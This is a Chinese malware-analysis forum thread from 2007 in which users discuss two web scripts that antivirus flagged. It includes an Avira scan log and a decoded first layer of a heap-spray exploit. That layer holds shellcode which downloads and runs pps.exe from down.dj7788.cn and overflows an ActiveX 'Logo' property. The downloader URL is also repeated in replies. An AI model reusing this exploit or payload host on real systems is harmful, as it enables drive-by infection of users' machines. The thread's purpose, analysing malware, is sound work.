两个脚本

CZH

两个脚本
误报？

promised

并非误报

nosferatu

Starting the file scan:

Begin scan in 'C:\Documents and Settings\Administrator\桌面\Download.rar'
C:\Documents and Settings\Administrator\桌面\Download.rar
  [0] Archive type: RAR
  --> 1.htm
      [DETECTION] Is the Trojan horse TR/Iframe.Z
  --> 2.htm
      [DETECTION] Contains detection pattern of the Java script virus JS/Agent.WA
      [INFO]      The file was deleted!

lsyer

楼下来解密吧~

promised

第一层

1. var shellcode = unescape("%u00E8%u0000%u6A00%uEB03%u7E21%uE2D8%u9873%u8AFE%u8E0E%u0E4E%u55EC%u4C52%u4F4D%u004E%u3600%u2F1A%u6370%u5C3A%u2E63%u7865%u0065%u5F59%u67AF%uA164%u0030%u408B%u8B0C%u1C70%u8BAD%u0868%u8B51%u3C75%u748B%u782E%uF503%u8B56%u2076%uF503%uC933%u4149%u03AD%u33C5%u0FDB%u10BE%uF238%u0874%uCBC1%u030D%u40DA%uF1EB%u1F3B%uE775%u8B5E%u245E%uDD03%u8B66%u4B0C%u5E8B%u031C%u8BDD%u8B04%uC503%u59AB%uBCE2%u0F8B%uF980%u7463%u570A%uD0FF%uAF95%u6AAF%uEB01%u52AC%u5752%u8F8D%u10DB%u0040%uE981%u104E%u0040%u5251%uD0FF%u016A%uFF57%uEC57%u57FF%u90E8%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u6a64%u3737%u3838%u632e%u2f6e%u7070%u2e73%u7865%u0065");bigblock = unescape("%u9090");headersize = 20;slackspace = headersize + shellcode.length;while ( bigblock.length < slackspace ) bigblock += bigblock;fillblock = bigblock.substring(0, slackspace);block = bigblock.substring(0, bigblock.length - slackspace);while(block.length + slackspace < 0x40000) block = block + block + fillblock;memory = new Array();for (x=0; x< 400; x++) memory[x] = block + shellcode;var buffer = '\x0a';while (buffer.length < 500) buffer += '\x0a\x0a\x0a\x0a';ppc.Logo = buffer;

复制代码

CZH

我这里还有一大堆脚本，都是逛论坛的结果

dikex

原帖由 promised 于 2007-9-18 19:04 发表
第一层var shellcode = unescape("%u00E8%u0000%u6A00%uEB03%u7E21%uE2D8%u9873%u8AFE%u8E0E%u0E4E%u55EC%u4C52%u4F4D%u004E%u3600%u2F1A%u6370%u5C3A%u2E63%u7865%u0065%u5F59%u67AF%uA164%u0030%u408B%u8B0C%u1C70 ...

http://down.dj7788.cn/pps.exe

貌似见过不少此了

欠妳緈諨

脚本，AVAST不感兴趣

solcroft

原帖由 promised 于 2007-9-18 20:34 发表
第一层var shellcode = unescape("%u00E8%u0000%u6A00%uEB03%u7E21%uE2D8%u9873%u8AFE%u8E0E%u0E4E%u55EC%u4C52%u4F4D%u004E%u3600%u2F1A%u6370%u5C3A%u2E63%u7865%u0065%u5F59%u67AF%uA164%u0030%u408B%u8B0C%u1C70 ...

http://down.dj7788.cn/pps.exe

lovewei

不是误报，解密出两个病毒文件出来